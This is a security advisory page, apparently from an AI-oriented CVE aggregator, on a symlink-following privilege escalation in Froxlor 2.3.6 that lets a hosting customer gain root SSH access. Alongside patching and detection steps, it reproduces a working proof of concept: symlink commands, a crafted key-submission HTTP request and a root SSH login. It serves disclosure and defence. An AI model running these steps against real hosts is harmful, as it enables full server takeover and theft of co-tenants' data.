Froxlor 2.3.6 allows any shell-enabled hosting customer to replace their ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys; the next run of the root-owned SSH key synchronization cron blindly appends the attacker-supplied public key into root's authorized_keys file, resulting in full root SSH access with no further interaction required. For organizations hosting AI/ML workloads on Froxlor-managed infrastructure, this is a complete host compromise — an attacker gains unrestricted access to model weights, training datasets, inference API keys, and all co-hosted tenant data. With 469 downstream dependents, 10 prior CVEs in the same package, and a working PoC embedded in the advisory, exploitation is trivially reproducible by any tenant with shell access. Patch to Froxlor 2.3.7 immediately; if patching is blocked, set shell_allowed=0 for all untrusted customer accounts and audit home directories for symlinks via `find /home -maxdepth 3 -name authorized_keys -type l`.
What is the risk?
High risk. CVSS 8.8 with network-accessible, low-complexity exploitation requiring only a low-privilege authenticated account — the attack is effectively zero-effort once a shell-enabled customer account is obtained. Blast radius is total host compromise: an attacker with root SSH access can read all customer data, install persistent backdoors, tamper with AI model artifacts, exfiltrate secrets, and pivot laterally to connected GPU infrastructure or databases. The 10 prior CVEs in froxlor/froxlor and its OpenSSF Scorecard of 7.1/10 suggest a pattern of inadequate security review in privileged code paths. Multi-tenant hosting environments where AI SaaS workloads share infrastructure with untrusted customers carry the highest exposure.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| froxlor/froxlor | composer | = 2.3.6 | 2.3.7 |
Do you use froxlor/froxlor? You're affected.
Severity & Risk
Attack Surface
What should I do?
6 steps-
Patch: Upgrade froxlor/froxlor to version 2.3.7 — this is the only definitive remediation.
-
Immediate workaround: Disable shell access (shell_allowed=0) for all untrusted customer accounts via the Froxlor admin panel before patching.
-
Detection — audit for exploitation: run
find /home -maxdepth 3 -name authorized_keys -type las root to identify symlinked authorized_keys files across customer home directories. -
Verify root's authorized_keys for unauthorized entries:
cat /root/.ssh/authorized_keysand compare against known-good baseline. -
Review cron execution logs for recent REBUILD_NSSUSERS task runs that may have already triggered the vulnerable path.
-
Add host-based IDS rule alerting on symlink creation inside customer home directories as an ongoing detective control.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-41236?
Froxlor 2.3.6 allows any shell-enabled hosting customer to replace their ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys; the next run of the root-owned SSH key synchronization cron blindly appends the attacker-supplied public key into root's authorized_keys file, resulting in full root SSH access with no further interaction required. For organizations hosting AI/ML workloads on Froxlor-managed infrastructure, this is a complete host compromise — an attacker gains unrestricted access to model weights, training datasets, inference API keys, and all co-hosted tenant data. With 469 downstream dependents, 10 prior CVEs in the same package, and a working PoC embedded in the advisory, exploitation is trivially reproducible by any tenant with shell access. Patch to Froxlor 2.3.7 immediately; if patching is blocked, set shell_allowed=0 for all untrusted customer accounts and audit home directories for symlinks via `find /home -maxdepth 3 -name authorized_keys -type l`.
Is CVE-2026-41236 actively exploited?
No confirmed active exploitation of CVE-2026-41236 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-41236?
1. Patch: Upgrade froxlor/froxlor to version 2.3.7 — this is the only definitive remediation. 2. Immediate workaround: Disable shell access (shell_allowed=0) for all untrusted customer accounts via the Froxlor admin panel before patching. 3. Detection — audit for exploitation: run `find /home -maxdepth 3 -name authorized_keys -type l` as root to identify symlinked authorized_keys files across customer home directories. 4. Verify root's authorized_keys for unauthorized entries: `cat /root/.ssh/authorized_keys` and compare against known-good baseline. 5. Review cron execution logs for recent REBUILD_NSSUSERS task runs that may have already triggered the vulnerable path. 6. Add host-based IDS rule alerting on symlink creation inside customer home directories as an ongoing detective control.
What systems are affected by CVE-2026-41236?
This vulnerability affects the following AI/ML architecture patterns: AI application hosting environments, Multi-tenant ML model serving infrastructure, Shared GPU compute clusters, AI SaaS backend hosting.
What is the CVSS score for CVE-2026-41236?
CVE-2026-41236 has a CVSS v3.1 base score of 8.8 (HIGH).
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0106 Exploitation for Credential Access Compliance Controls Affected
Technical Details
Original Advisory
### Summary Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link. If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access. ### Details The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`: ```php // customer_ftp.php:251-253 if ($action == 'add' && Request::post('send') == 'send') { $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key"); Commands::get()->apiCall('SshKeys.add', Request::postAll()); } ``` On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level: ```php // lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145 if ($this->getUserDetail('shell_allowed') != '1') { throw new Exception("You cannot add SSH keys because shell access is disabled for your account."); } $ins_stmt = Database::prepare(" INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`. "); Settings::AddTask('rebuildnssusers'); ``` Later, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation: ```php // lib/Froxlor/Cron/System/SshKeys.php:52-64 $sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh'); $authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys'); if (!file_exists($authkeysfile)) { touch($authkeysfile); } ``` The helper used here only normalizes the path string and does not resolve or reject symlinks: ```php // lib/Froxlor/FileDir.php:376-392 public static function makeCorrectFile(string $file): string { $file = str_replace('//', '/', $file); $file = str_replace('\\', '', $file); return $file; } ``` The root-owned sync code then appends attacker-controlled SSH key material to the derived path: ```php // lib/Froxlor/Cron/System/SshKeys.php:94-103 file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX); chown($authkeysfile, $userinfo['uid']); chgrp($authkeysfile, $userinfo['gid']); ``` Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs. ### PoC An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report. Relevant runtime prerequisites: - the attacker controls a customer-owned home directory on the target host - the attacking customer has `shell_allowed=1` - the attacker can submit SSH keys through the Froxlor panel - Froxlor's master cron runs with the intended root privileges Complete PoC flow: 1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory: ```bash mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys ``` 2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user: ```http POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded Cookie: <authenticated customer session> csrf_token=VALID_CSRF_TOKEN& send=send& description=poc& ftpuser=17& ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host ``` 3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task. 4. Use the corresponding private key to authenticate as root: ```bash ssh -i id_ed25519 root@target.example ``` Result: - the root-owned cron task follows the symlinked `authorized_keys` path - the submitted public key is appended to `/root/.ssh/authorized_keys` - SSH access as `root` succeeds with the attacker's key pair ### Impact This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.
Exploitation Scenario
An adversary purchases or compromises a shell-enabled customer account on a Froxlor-managed hosting provider that runs AI workloads for multiple tenants. Using their legitimate shell access they execute `mkdir -p ~/.ssh && rm -f ~/.ssh/authorized_keys && ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys`. They then authenticate to the Froxlor customer panel and submit an attacker-controlled SSH public key for their FTP user — a completely normal, permitted action. Froxlor queues a REBUILD_NSSUSERS cron task. Within the next cron interval, the root-owned synchronization daemon calls `file_put_contents()` on what it computes as the customer's authorized_keys path, which is actually a symlink to /root/.ssh/authorized_keys. The attacker's key is appended. The attacker then SSHes as root, gaining full control of all hosted AI models, training data, inference secrets, and every co-tenant's data on the same physical host.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-41235 8.8 Froxlor: shell whitelist bypass grants host shell access
Same package: panel CVE-2026-44898 6.1 mistune: XSS in TOC render via unescaped heading ID
Same package: panel CVE-2026-44708 6.1 mistune: math plugin XSS bypasses escape=True control
Same package: panel CVE-2026-44897 6.1 mistune: XSS via unescaped heading id= attribute
Same package: panel CVE-2026-44899 4.7 mistune: CSS injection enables phishing UI overlay
Same package: panel